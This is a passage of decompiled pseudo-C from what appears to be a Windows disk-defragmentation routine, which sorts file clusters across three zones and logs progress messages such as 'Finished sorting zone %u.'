				if (_t2061 != 0) goto 0x8000903e;
				 *(_t2750 + 0x28) = 3;
				r15d = r10d;
				 *(_t2750 + 0x20) = r10d;
				E0000000118000B53C(_t2061, _t2244, _t2956, _t2244, _t2731, _t2747, _t2731, _t2671, _t2061);
				r10d = 0;
				_t2984 = _t2061;
				if (_t2061 == 0) goto 0x80009098;
				 *(_t2750 + 0x30) = 1;
				 *(_t2750 + 0x28) =  *((intOrPtr*)(_t2984 + 0x40));
				_t2795 = _t2984;
				 *(_t2750 + 0x20) = _t2900;
				_t2393 = _t2956;
				if (E0000000118000CB04( *_t2052, _t1492, 0, _t1496, _t2244, _t2393, _t2244, _t2747, _t2795, _t2671 -  *((intOrPtr*)(_t2984 + 0x40))) != 1) goto 0x80009086;
				_t2672 = _t2671 -  *((intOrPtr*)(_t2984 + 0x40));
				r10d = 0;
				 *(_t2750 + 0x58) = _t2672;
				r12d = r10d;
				goto 0x8000908f;
				_t2586 =  *_t2393;
				goto 0x80008f73;
				r12d = r12d + 1;
				_t2732 = _t2672;
				r10d = 0;
				if (_t2732 - _t2672 < 0) goto 0x80008fcc;
				_t2957 =  *(_t2747 - 0x80);
				 *(_t2750 + 0x78) = _t2732;
				if (_t2732 - _t2672 >= 0) goto 0x800090de;
				r8d = 0;
				 *(_t2750 + 0x28) = _t2672 - _t2732;
				 *(_t2750 + 0x20) = _t2732;
				_t527 = _t2795 + 5; // 0x5
				E00000001180004968( *_t2052, _t527,  *((intOrPtr*)(_t2984 + 0x40)), _t2957, _t2586, _t2795,  *((intOrPtr*)( *((intOrPtr*)(_t2244 + 0x240)) + 0xe0)));
				r10d = 0;
				 *(_t2750 + 0x58) = _t2732;
				r12d = r10d;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) == r10d) goto 0x80008ed4;
				_t2064 =  *((intOrPtr*)(_t2244 + 8));
				if ( *_t2064 != r10d) goto 0x8000961a;
				if ( *(_t2750 + 0x68) != 6) goto 0x8000961a;
				E00000001180005CCC();
				r10d = 0;
				 *(_t2750 + 0x78) = _t2064;
				if ( *((intOrPtr*)(_t2244 + 0x120)) == _t2900) goto 0x80009616;
				 *(_t2244 + 4) = r10d;
				 *(_t2747 - 0x80) = ( *((intOrPtr*)(_t2244 + 0x198)) - _t2586 >> 1) + _t2586 >> 7;
				r9d = r10d;
				r8d = 4;
				E00000001180006A7C( *(_t2750 + 0x68), 0xe147ae15, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2900);
				r10d = 0;
				r13d = r10d;
				 *(_t2750 + 0x58) = _t2900;
				r15d = r10d;
				 *(_t2750 + 0x70) = _t2900;
				_t2796 =  *((intOrPtr*)(_t2244 + 0x148 +  *(_t2244 + 4) * 8));
				 *((long long*)(_t2750 + 0x60)) = _t2796;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != r10d) goto 0x800095fb;
				_t2676 =  *((intOrPtr*)(_t2244 + 0x120));
				_t2734 = _t2900;
				if (_t2676 == 0) goto 0x800095d2;
				_t2068 =  *((intOrPtr*)(_t2676 + 8));
				goto 0x800091bb;
				_t2677 = _t2068;
				if ( *((intOrPtr*)(_t2068 + 8)) != 0) goto 0x800091b4;
				if ( *((intOrPtr*)(_t2677 + 0x7c)) == 1) goto 0x800093c7;
				if ( *((intOrPtr*)(_t2677 + 0x80)) == 1) goto 0x800093c7;
				if ( *((intOrPtr*)(_t2677 + 0x40)) == _t2900) goto 0x800093c7;
				_t1673 =  *((intOrPtr*)(_t2677 + 0x84)) - 1;
				_t1405 = r10d;
				_t1281 =  !=  ? (_t1405 & 0xffffff00 | _t1673 == 0x00000000) + 1 : r10d;
				_t1675 = ( !=  ? (_t1405 & 0xffffff00 | _t1673 == 0x00000000) + 1 : r10d) -  *(_t2244 + 4);
				if (( !=  ? (_t1405 & 0xffffff00 | _t1673 == 0x00000000) + 1 : r10d) !=  *(_t2244 + 4)) goto 0x800093c7;
				if (_t2957 == 0) goto 0x800092f3;
				if (_t2957 == _t2677) goto 0x800093c7;
				_t2588 =  *((intOrPtr*)(_t2677 + 0x20));
				if ( *((intOrPtr*)(_t2957 + 0x20)) != 0) goto 0x80009235;
				if (_t2588 != 0) goto 0x800092f3;
				goto 0x800093c7;
				if (_t2588 == 0) goto 0x800093c7;
				_t1282 = E00000001180053BDC( *((intOrPtr*)(_t2068 + 8)),  *((intOrPtr*)(_t2957 + 0x20)));
				r10d = 0;
				if (_t1282 != 0) goto 0x80009268;
				if ( *((intOrPtr*)(_t2957 + 0x20)) == 0) goto 0x80009273;
				if ( *((intOrPtr*)(_t2677 + 0x20)) == 0) goto 0x80009273;
				_t1283 = E00000001180053BDC( *((intOrPtr*)(_t2068 + 8)),  *((intOrPtr*)(_t2957 + 0x20)));
				r10d = 0;
				_t1684 = _t1283;
				if (_t1684 == 0) goto 0x80009273;
				if (_t1684 >= 0) goto 0x800093c7;
				goto 0x800092f3;
				_t1685 =  *((intOrPtr*)(_t2957 + 0x38)) -  *((intOrPtr*)(_t2677 + 0x38));
				if (_t1685 < 0) goto 0x800092f3;
				if (_t1685 > 0) goto 0x800093c7;
				_t1686 =  *((intOrPtr*)(_t2957 + 0x58)) -  *((intOrPtr*)(_t2677 + 0x58));
				if (_t1686 < 0) goto 0x800092f3;
				if (_t1686 > 0) goto 0x800093c7;
				_t1687 =  *((intOrPtr*)(_t2957 + 0x50)) -  *((intOrPtr*)(_t2677 + 0x50));
				if (_t1687 < 0) goto 0x800092f3;
				if (_t1687 > 0) goto 0x800093c7;
				_t1688 =  *((intOrPtr*)(_t2957 + 0x48)) -  *((intOrPtr*)(_t2677 + 0x48));
				if (_t1688 < 0) goto 0x800092f3;
				if (_t1688 > 0) goto 0x800093c7;
				_t2074 =  *((intOrPtr*)(_t2957 + 0x60));
				goto 0x800092c3;
				if ( *_t2074 != 0xffffffff) goto 0x800092d1;
				if ( *((intOrPtr*)(_t2074 + 0x10)) != 0) goto 0x800092b9;
				_t2076 =  *((intOrPtr*)(_t2677 + 0x60));
				goto 0x800092e0;
				goto 0x800092cb;
				if ( *_t2076 != 0xffffffff) goto 0x800092ea;
				_t2077 =  *((intOrPtr*)(_t2076 + 0x10));
				if (_t2077 != 0) goto 0x800092d6;
				goto 0x800093c7;
				if ( *_t2076 -  *_t2077 >= 0) goto 0x800093c7;
				if (_t2734 == 0) goto 0x800093c4;
				if (_t2677 == _t2734) goto 0x800093c7;
				_t2590 =  *((intOrPtr*)(_t2734 + 0x20));
				if ( *((intOrPtr*)(_t2677 + 0x20)) != 0) goto 0x80009324;
				if (_t2590 != 0) goto 0x800093c4;
				goto 0x800093c7;
				if (_t2590 == 0) goto 0x800093c7;
				_t1284 = E00000001180053BDC(_t2077,  *((intOrPtr*)(_t2677 + 0x20)));
				r10d = 0;
				if (_t1284 != 0) goto 0x80009357;
				if ( *((intOrPtr*)(_t2677 + 0x20)) == 0) goto 0x8000935b;
				if ( *((intOrPtr*)(_t2734 + 0x20)) == 0) goto 0x8000935b;
				_t1285 = E00000001180053BDC(_t2077,  *((intOrPtr*)(_t2677 + 0x20)));
				r10d = 0;
				_t1702 = _t1285;
				if (_t1702 == 0) goto 0x8000935b;
				if (_t1702 >= 0) goto 0x800093c7;
				goto 0x800093c4;
				_t1703 =  *((intOrPtr*)(_t2677 + 0x38)) -  *((intOrPtr*)(_t2734 + 0x38));
				if (_t1703 < 0) goto 0x800093c4;
				if (_t1703 > 0) goto 0x800093c7;
				_t1704 =  *((intOrPtr*)(_t2677 + 0x58)) -  *((intOrPtr*)(_t2734 + 0x58));
				if (_t1704 < 0) goto 0x800093c4;
				if (_t1704 > 0) goto 0x800093c7;
				_t1705 =  *((intOrPtr*)(_t2677 + 0x50)) -  *((intOrPtr*)(_t2734 + 0x50));
				if (_t1705 < 0) goto 0x800093c4;
				if (_t1705 > 0) goto 0x800093c7;
				_t1706 =  *((intOrPtr*)(_t2677 + 0x48)) -  *((intOrPtr*)(_t2734 + 0x48));
				if (_t1706 < 0) goto 0x800093c4;
				if (_t1706 > 0) goto 0x800093c7;
				_t2082 =  *((intOrPtr*)(_t2677 + 0x60));
				goto 0x8000939b;
				if ( *_t2082 != 0xffffffff) goto 0x800093a9;
				if ( *((intOrPtr*)(_t2082 + 0x10)) != 0) goto 0x80009391;
				_t2084 =  *((intOrPtr*)(_t2734 + 0x60));
				goto 0x800093b8;
				goto 0x800093a3;
				if ( *_t2084 != 0xffffffff) goto 0x800093bf;
				_t2085 =  *((intOrPtr*)(_t2084 + 0x10));
				if (_t2085 != 0) goto 0x800093ae;
				goto 0x800093c7;
				if ( *_t2084 -  *_t2085 >= 0) goto 0x800093c7;
				_t2735 = _t2677;
				E0000000118000F3BC(_t2677);
				r10d = 0;
				if (_t2085 != 0) goto 0x800091c5;
				if (_t2735 == 0) goto 0x800095d2;
				_t2958 = _t2735;
				 *((long long*)(_t2244 + 0x210)) =  *((intOrPtr*)(_t2244 + 0x218)) + _t2900 +  *((intOrPtr*)(_t2677 + 0x40));
				_t2086 =  *((intOrPtr*)(_t2735 + 0x60));
				goto 0x80009412;
				if ( *_t2086 != 0xffffffff) goto 0x80009436;
				if ( *((intOrPtr*)(_t2086 + 0x10)) != 0) goto 0x80009408;
				_t2593 =  *((intOrPtr*)(_t2750 + 0x60));
				if (_t2900 != _t2593) goto 0x8000943b;
				 *((long long*)(_t2750 + 0x60)) = _t2593 +  *((intOrPtr*)(_t2735 + 0x40));
				goto 0x800095c8;
				goto 0x8000941a;
				_t2987 = _t2900;
				goto 0x800095bf;
				_t2409 =  *((intOrPtr*)(_t2735 + 0x40));
				if (_t2987 - _t2409 >= 0) goto 0x800095c8;
				if ( *((intOrPtr*)(_t2735 + 0x7c)) != r10d) goto 0x800095c8;
				if (_t2987 == 0) goto 0x8000948b;
				r8d = 0;
				 *(_t2750 + 0x20) = _t2409 - _t2987;
				_t608 = _t2796 + 5; // 0x5
				E00000001180004968((_t1405 & 0xffffff00 | _t1673 == 0x00000000) + 1, _t608,  *((intOrPtr*)(_t2244 + 8)),  *(_t2750 + 0x78), _t2593 +  *((intOrPtr*)(_t2735 + 0x40)), _t2796, L"Item partially placed, %I64u clusters more to do");
				r10d = 0;
				_t611 = _t3016 + 0x10; // 0x10
				if (_t611 +  *((intOrPtr*)(_t2735 + 0x40)) - _t2987 -  *(_t2750 + 0x70) <= 0) goto 0x80009505;
				 *(_t2750 + 0x20) = r10d;
				_t2414 =  *((intOrPtr*)(_t2750 + 0x50));
				E0000000118000F464((_t1405 & 0xffffff00 | _t1673 == 0x00000000) + 1, _t1492, 0, _t1496, _t611 +  *((intOrPtr*)(_t2735 + 0x40)) - _t2987 -  *(_t2750 + 0x70), _t2414, _t2244,  *((intOrPtr*)(_t2750 + 0x60)),  *((intOrPtr*)(_t2735 + 0x40)) - _t2987 +  *(_t2747 - 0x80), _t2900);
				r9d = 0;
				 *(_t2750 + 0x48) = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2414;
				_t1289 = E0000000118000B10C(0, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244,  *((intOrPtr*)(_t2750 + 0x60)),  *((intOrPtr*)(_t2735 + 0x40)) - _t2987 +  *(_t2747 - 0x80), _t2901);
				r10d = 0;
				if (_t1289 == 0) goto 0x8000960c;
				_t3017 =  *(_t2750 + 0x58);
				_t2416 =  *(_t2750 + 0x70);
				_t2094 = _t2416 - _t3017;
				_t1722 =  *((intOrPtr*)(_t2735 + 0x40)) - _t2987 - _t2094;
				if (_t1722 <= 0) goto 0x80009532;
				_t2682 = _t2094 & 0xfffffff8;
				if (_t1722 != 0) goto 0x80009532;
				 *((long long*)(_t2750 + 0x60)) = _t2416;
				goto 0x800095bb;
				_t2417 =  *((intOrPtr*)(_t2750 + 0x50));
				 *(_t2750 + 0x30) = r10d;
				 *(_t2750 + 0x28) = _t2682;
				 *(_t2750 + 0x20) = _t2987;
				if (E0000000118000CB04(0, _t1492, 0, _t1496, _t2244, _t2417, _t2244, _t2747, _t2735, _t3017) != 1) goto 0x80009566;
				_t3018 = _t3017 + _t2682;
				 *(_t2750 + 0x58) = _t3018;
				r10d = 0;
				goto 0x800095b0;
				 *(_t2750 + 0x48) = 0;
				r9d = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				_t2800 = _t3018;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2417;
				_t1291 = E0000000118000B10C(0, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2800, _t3017, _t2901);
				r10d = 0;
				if (_t1291 == 0) goto 0x8000960c;
				_t3019 =  *(_t2750 + 0x58);
				_t2601 = _t3019;
				 *((long long*)(_t2750 + 0x60)) = _t2601;
				_t2097 =  *((intOrPtr*)(_t2244 + 8));
				if ( *_t2097 == r10d) goto 0x80009443;
				if ( *_t2097 != r10d) goto 0x800095f6;
				goto 0x80009198;
				r8d = 0;
				 *(_t2750 + 0x20) =  *(_t2244 + 4) + 1;
				_t650 = _t2800 + 2; // 0x2
				E00000001180004968(0, _t650, _t2097,  *(_t2750 + 0x78), _t2601, _t2800, L"Finished sorting zone %u.");
				r10d = 0;
				_t1296 =  *(_t2244 + 4) + 1;
				 *(_t2244 + 4) = _t1296;
				if (_t1296 - 3 < 0) goto 0x80009153;
				_t2098 =  *((intOrPtr*)(_t2244 + 8));
				if ( *_t2098 != r10d) goto 0x80009ae8;
				if ( *(_t2750 + 0x68) != 7) goto 0x80009ae8;
				E00000001180005CCC();
				r10d = 0;
				 *(_t2750 + 0x78) = _t2098;
				if ( *((intOrPtr*)(_t2244 + 0x120)) == _t2900) goto 0x80009ae8;
				 *(_t2244 + 4) = r10d;
				 *(_t2747 - 0x80) = ( *((intOrPtr*)(_t2244 + 0x198)) - _t2601 >> 1) + _t2601 >> 7;
				r9d = r10d;
				r8d = 4;
				E00000001180006A7C( *(_t2750 + 0x68), 0xe147ae15, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2900);
				r10d = 0;
				r13d = r10d;
				 *(_t2750 + 0x58) = _t2900;
				r15d = r10d;
				 *(_t2750 + 0x70) = _t2900;
				_t2801 =  *((intOrPtr*)(_t2244 + 0x148 +  *(_t2244 + 4) * 8));
				 *((long long*)(_t2750 + 0x60)) = _t2801;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != r10d) goto 0x80009ad7;
				_t2684 =  *((intOrPtr*)(_t2244 + 0x120));
				_t2737 = _t2900;
				if (_t2684 == 0) goto 0x80009ab3;
				_t2102 =  *((intOrPtr*)(_t2684 + 8));
				goto 0x800096d9;
				_t2685 = _t2102;
				if ( *((intOrPtr*)(_t2102 + 8)) != 0) goto 0x800096d2;
				if ( *((intOrPtr*)(_t2685 + 0x7c)) == 1) goto 0x800098ad;
				if ( *((intOrPtr*)(_t2685 + 0x80)) == 1) goto 0x800098ad;
				if ( *((intOrPtr*)(_t2685 + 0x40)) == _t2900) goto 0x800098ad;
				_t1737 =  *((intOrPtr*)(_t2685 + 0x84)) - 1;
				_t1411 = r10d;
				_t1302 =  !=  ? (_t1411 & 0xffffff00 | _t1737 == 0x00000000) + 1 : r10d;
				_t1739 = ( !=  ? (_t1411 & 0xffffff00 | _t1737 == 0x00000000) + 1 : r10d) -  *(_t2244 + 4);
				if (( !=  ? (_t1411 & 0xffffff00 | _t1737 == 0x00000000) + 1 : r10d) !=  *(_t2244 + 4)) goto 0x800098ad;
				if (_t2958 == 0) goto 0x800097f5;
				if (_t2958 == _t2685) goto 0x800098ad;
				_t1742 =  *((intOrPtr*)(_t2958 + 0x38)) -  *((intOrPtr*)(_t2685 + 0x38));
				if (_t1742 < 0) goto 0x800097f5;
				if (_t1742 > 0) goto 0x800098ad;
				if ( *((intOrPtr*)(_t2958 + 0x20)) == 0) goto 0x80009775;
				if ( *((intOrPtr*)(_t2685 + 0x20)) == 0) goto 0x80009775;
				_t1303 = E00000001180053BDC( *((intOrPtr*)(_t2685 + 0x38)),  *((intOrPtr*)(_t2958 + 0x20)));
				r10d = 0;
				_t1745 = _t1303;
				if (_t1745 == 0) goto 0x80009775;
				if (_t1745 >= 0) goto 0x800098ad;
				goto 0x800097f5;
				_t1746 =  *((intOrPtr*)(_t2958 + 0x38)) -  *((intOrPtr*)(_t2685 + 0x38));
				if (_t1746 < 0) goto 0x800097f5;
				if (_t1746 > 0) goto 0x800098ad;
				_t1747 =  *((intOrPtr*)(_t2958 + 0x58)) -  *((intOrPtr*)(_t2685 + 0x58));
				if (_t1747 < 0) goto 0x800097f5;
				if (_t1747 > 0) goto 0x800098ad;
				_t1748 =  *((intOrPtr*)(_t2958 + 0x50)) -  *((intOrPtr*)(_t2685 + 0x50));
				if (_t1748 < 0) goto 0x800097f5;
				if (_t1748 > 0) goto 0x800098ad;
				_t1749 =  *((intOrPtr*)(_t2958 + 0x48)) -  *((intOrPtr*)(_t2685 + 0x48));
				if (_t1749 < 0) goto 0x800097f5;
				if (_t1749 > 0) goto 0x800098ad;
				_t2109 =  *((intOrPtr*)(_t2958 + 0x60));
				goto 0x800097c5;
				if ( *_t2109 != 0xffffffff) goto 0x800097d3;
				if ( *((intOrPtr*)(_t2109 + 0x10)) != 0) goto 0x800097bb;
				_t2111 =  *((intOrPtr*)(_t2685 + 0x60));
				goto 0x800097e2;
				goto 0x800097cd;
				if ( *_t2111 != 0xffffffff) goto 0x800097ec;
				_t2112 =  *((intOrPtr*)(_t2111 + 0x10));
				if (_t2112 != 0) goto 0x800097d8;
				goto 0x800098ad;
				if ( *_t2111 -  *_t2112 >= 0) goto 0x800098ad;
				if (_t2737 == 0) goto 0x800098aa;
				if (_t2685 == _t2737) goto 0x800098ad;
				_t1757 =  *((intOrPtr*)(_t2685 + 0x38)) -  *((intOrPtr*)(_t2737 + 0x38));
				if (_t1757 < 0) goto 0x800098aa;
				if (_t1757 > 0) goto 0x800098ad;
				if ( *((intOrPtr*)(_t2685 + 0x20)) == 0) goto 0x80009841;
				if ( *((intOrPtr*)(_t2737 + 0x20)) == 0) goto 0x80009841;
				_t1304 = E00000001180053BDC( *((intOrPtr*)(_t2737 + 0x38)),  *((intOrPtr*)(_t2685 + 0x20)));
				r10d = 0;
				_t1760 = _t1304;
				if (_t1760 == 0) goto 0x80009841;
				if (_t1760 >= 0) goto 0x800098ad;
				goto 0x800098aa;
				_t1761 =  *((intOrPtr*)(_t2685 + 0x38)) -  *((intOrPtr*)(_t2737 + 0x38));
				if (_t1761 < 0) goto 0x800098aa;
				if (_t1761 > 0) goto 0x800098ad;
				_t1762 =  *((intOrPtr*)(_t2685 + 0x58)) -  *((intOrPtr*)(_t2737 + 0x58));
				if (_t1762 < 0) goto 0x800098aa;
				if (_t1762 > 0) goto 0x800098ad;
				_t1763 =  *((intOrPtr*)(_t2685 + 0x50)) -  *((intOrPtr*)(_t2737 + 0x50));
				if (_t1763 < 0) goto 0x800098aa;
				if (_t1763 > 0) goto 0x800098ad;
				_t1764 =  *((intOrPtr*)(_t2685 + 0x48)) -  *((intOrPtr*)(_t2737 + 0x48));
				if (_t1764 < 0) goto 0x800098aa;
				if (_t1764 > 0) goto 0x800098ad;
				_t2118 =  *((intOrPtr*)(_t2685 + 0x60));
				goto 0x80009881;
				if ( *_t2118 != 0xffffffff) goto 0x8000988f;
				if ( *((intOrPtr*)(_t2118 + 0x10)) != 0) goto 0x80009877;
				_t2120 =  *((intOrPtr*)(_t2737 + 0x60));
				goto 0x8000989e;
				goto 0x80009889;
				if ( *_t2120 != 0xffffffff) goto 0x800098a5;
				_t2121 =  *((intOrPtr*)(_t2120 + 0x10));
				if (_t2121 != 0) goto 0x80009894;
				goto 0x800098ad;
				if ( *_t2120 -  *_t2121 >= 0) goto 0x800098ad;
				_t2738 = _t2685;
				E0000000118000F3BC(_t2685);
				r10d = 0;
				if (_t2121 != 0) goto 0x800096e3;
				if (_t2738 == 0) goto 0x80009ab3;
				_t2959 = _t2738;
				 *((long long*)(_t2244 + 0x210)) =  *((intOrPtr*)(_t2244 + 0x218)) + _t2900 +  *((intOrPtr*)(_t2685 + 0x40));
				_t2122 =  *((intOrPtr*)(_t2738 + 0x60));
				goto 0x800098f8;
				if ( *_t2122 != 0xffffffff) goto 0x8000991c;
				if ( *((intOrPtr*)(_t2122 + 0x10)) != 0) goto 0x800098ee;
				_t2606 =  *((intOrPtr*)(_t2750 + 0x60));
				if (_t2900 != _t2606) goto 0x80009921;
				 *((long long*)(_t2750 + 0x60)) = _t2606 +  *((intOrPtr*)(_t2738 + 0x40));
				goto 0x800096ad;
				goto 0x80009900;
				_t2991 = _t2900;
				goto 0x80009aa5;
				_t2432 =  *((intOrPtr*)(_t2738 + 0x40));
				if (_t2991 - _t2432 >= 0) goto 0x800096ad;
				if ( *((intOrPtr*)(_t2738 + 0x7c)) != r10d) goto 0x800096ad;
				if (_t2991 == 0) goto 0x80009971;
				r8d = 0;
				 *(_t2750 + 0x20) = _t2432 - _t2991;
				_t732 = _t2801 + 5; // 0x5
				E00000001180004968((_t1411 & 0xffffff00 | _t1737 == 0x00000000) + 1, _t732,  *((intOrPtr*)(_t2244 + 8)),  *(_t2750 + 0x78), _t2606 +  *((intOrPtr*)(_t2738 + 0x40)), _t2801, L"Item partially placed, %I64u clusters more to do");
				r10d = 0;
				_t735 = _t3019 + 0x10; // 0x10
				if (_t735 +  *((intOrPtr*)(_t2738 + 0x40)) - _t2991 -  *(_t2750 + 0x70) <= 0) goto 0x800099eb;
				 *(_t2750 + 0x20) = r10d;
				_t2437 =  *((intOrPtr*)(_t2750 + 0x50));
				E0000000118000F464((_t1411 & 0xffffff00 | _t1737 == 0x00000000) + 1, _t1492, 0, _t1496, _t735 +  *((intOrPtr*)(_t2738 + 0x40)) - _t2991 -  *(_t2750 + 0x70), _t2437, _t2244,  *((intOrPtr*)(_t2750 + 0x60)),  *((intOrPtr*)(_t2738 + 0x40)) - _t2991 +  *(_t2747 - 0x80), _t2900);
				r9d = 0;
				 *(_t2750 + 0x48) = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2437;
				_t1308 = E0000000118000B10C(0, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244,  *((intOrPtr*)(_t2750 + 0x60)),  *((intOrPtr*)(_t2738 + 0x40)) - _t2991 +  *(_t2747 - 0x80), _t2901);
				r10d = 0;
				if (_t1308 == 0) goto 0x80009ae8;
				_t3020 =  *(_t2750 + 0x58);
				_t2439 =  *(_t2750 + 0x70);
				_t2130 = _t2439 - _t3020;
				_t1780 =  *((intOrPtr*)(_t2738 + 0x40)) - _t2991 - _t2130;
				if (_t1780 <= 0) goto 0x80009a18;
				_t2690 = _t2130 & 0xfffffff8;
				if (_t1780 != 0) goto 0x80009a18;
				 *((long long*)(_t2750 + 0x60)) = _t2439;
				goto 0x80009aa1;
				_t2440 =  *((intOrPtr*)(_t2750 + 0x50));
				 *(_t2750 + 0x30) = r10d;
				 *(_t2750 + 0x28) = _t2690;
				 *(_t2750 + 0x20) = _t2991;
				if (E0000000118000CB04(0, _t1492, 0, _t1496, _t2244, _t2440, _t2244, _t2747, _t2738, _t3020) != 1) goto 0x80009a4c;
				_t3021 = _t3020 + _t2690;
				 *(_t2750 + 0x58) = _t3021;
				r10d = 0;
				goto 0x80009a96;
				 *(_t2750 + 0x48) = 0;
				r9d = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				_t2805 = _t3021;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2440;
				_t1310 = E0000000118000B10C(0, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2805, _t3020, _t2901);
				r10d = 0;
				if (_t1310 == 0) goto 0x80009ae8;
				_t3022 =  *(_t2750 + 0x58);
				_t2614 = _t3022;
				 *((long long*)(_t2750 + 0x60)) = _t2614;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) == r10d) goto 0x80009929;
				goto 0x800096ad;
				r8d = 0;
				 *(_t2750 + 0x20) =  *(_t2244 + 4) + 1;
				_t774 = _t2805 + 2; // 0x2
				E00000001180004968(0, _t774,  *((intOrPtr*)(_t2244 + 8)),  *(_t2750 + 0x78), _t2614, _t2805, L"Finished sorting zone %u.");
				r10d = 0;
				_t1315 =  *(_t2244 + 4) + 1;
				 *(_t2244 + 4) = _t1315;
				if (_t1315 - 3 < 0) goto 0x8000966f;
				_t2134 =  *((intOrPtr*)(_t2244 + 8));
				if ( *_t2134 != r10d) goto 0x80009fbf;
				if ( *(_t2750 + 0x68) != 8) goto 0x80009fbf;
				E00000001180005CCC();
				r10d = 0;
				 *(_t2750 + 0x78) = _t2134;
				if ( *((intOrPtr*)(_t2244 + 0x120)) == _t2900) goto 0x80009fbf;
				 *(_t2244 + 4) = r10d;
				 *(_t2747 - 0x80) = ( *((intOrPtr*)(_t2244 + 0x198)) - _t2614 >> 1) + _t2614 >> 7;
				r9d = r10d;
				r8d = 4;
				E00000001180006A7C(0, 0xe147ae15, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2900);
				r10d = 0;
				r13d = r10d;
				 *(_t2750 + 0x58) = _t2900;
				r15d = r10d;
				 *(_t2750 + 0x70) = _t2900;
				_t2806 =  *((intOrPtr*)(_t2244 + 0x148 +  *(_t2244 + 4) * 8));
				 *((long long*)(_t2750 + 0x60)) = _t2806;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != r10d) goto 0x80009fae;
				_t2691 =  *((intOrPtr*)(_t2244 + 0x120));
				_t2739 = _t2900;
				if (_t2691 == 0) goto 0x80009f8a;
				_t2138 =  *((intOrPtr*)(_t2691 + 8));
				goto 0x80009bb0;
				_t2692 = _t2138;
				if ( *((intOrPtr*)(_t2138 + 8)) != 0) goto 0x80009ba9;
				if ( *((intOrPtr*)(_t2692 + 0x7c)) == 1) goto 0x80009d84;
				if ( *((intOrPtr*)(_t2692 + 0x80)) == 1) goto 0x80009d84;
				if ( *((intOrPtr*)(_t2692 + 0x40)) == _t2900) goto 0x80009d84;
				_t1794 =  *((intOrPtr*)(_t2692 + 0x84)) - 1;
				_t1416 = r10d;
				_t1321 =  !=  ? (_t1416 & 0xffffff00 | _t1794 == 0x00000000) + 1 : r10d;
				_t1796 = ( !=  ? (_t1416 & 0xffffff00 | _t1794 == 0x00000000) + 1 : r10d) -  *(_t2244 + 4);
				if (( !=  ? (_t1416 & 0xffffff00 | _t1794 == 0x00000000) + 1 : r10d) !=  *(_t2244 + 4)) goto 0x80009d84;
				if (_t2959 == 0) goto 0x80009ccc;
				if (_t2959 == _t2692) goto 0x80009d84;
				_t1799 =  *((intOrPtr*)(_t2959 + 0x58)) -  *((intOrPtr*)(_t2692 + 0x58));
				if (_t1799 > 0) goto 0x80009ccc;
				if (_t1799 < 0) goto 0x80009d84;
				if ( *((intOrPtr*)(_t2959 + 0x20)) == 0) goto 0x80009c4c;
				if ( *((intOrPtr*)(_t2692 + 0x20)) == 0) goto 0x80009c4c;
				_t1322 = E00000001180053BDC( *((intOrPtr*)(_t2692 + 0x58)),  *((intOrPtr*)(_t2959 + 0x20)));
				r10d = 0;
				_t1802 = _t1322;
				if (_t1802 == 0) goto 0x80009c4c;
				if (_t1802 >= 0) goto 0x80009d84;
				goto 0x80009ccc;
				_t1803 =  *((intOrPtr*)(_t2959 + 0x38)) -  *((intOrPtr*)(_t2692 + 0x38));
				if (_t1803 < 0) goto 0x80009ccc;
				if (_t1803 > 0) goto 0x80009d84;
				_t1804 =  *((intOrPtr*)(_t2959 + 0x58)) -  *((intOrPtr*)(_t2692 + 0x58));
				if (_t1804 < 0) goto 0x80009ccc;
				if (_t1804 > 0) goto 0x80009d84;
				_t1805 =  *((intOrPtr*)(_t2959 + 0x50)) -  *((intOrPtr*)(_t2692 + 0x50));
				if (_t1805 < 0) goto 0x80009ccc;
				if (_t1805 > 0) goto 0x80009d84;
				_t1806 =  *((intOrPtr*)(_t2959 + 0x48)) -  *((intOrPtr*)(_t2692 + 0x48));
				if (_t1806 < 0) goto 0x80009ccc;
				if (_t1806 > 0) goto 0x80009d84;
				_t2145 =  *((intOrPtr*)(_t2959 + 0x60));
				goto 0x80009c9c;
				if ( *_t2145 != 0xffffffff) goto 0x80009caa;
				if ( *((intOrPtr*)(_t2145 + 0x10)) != 0) goto 0x80009c92;
				_t2147 =  *((intOrPtr*)(_t2692 + 0x60));
				goto 0x80009cb9;
				goto 0x80009ca4;
				if ( *_t2147 != 0xffffffff) goto 0x80009cc3;
				_t2148 =  *((intOrPtr*)(_t2147 + 0x10));
				if (_t2148 != 0) goto 0x80009caf;
				goto 0x80009d84;
				if ( *_t2147 -  *_t2148 >= 0) goto 0x80009d84;
				if (_t2739 == 0) goto 0x80009d81;
				if (_t2692 == _t2739) goto 0x80009d84;
				_t1814 =  *((intOrPtr*)(_t2692 + 0x58)) -  *((intOrPtr*)(_t2739 + 0x58));
				if (_t1814 > 0) goto 0x80009d81;
				if (_t1814 < 0) goto 0x80009d84;
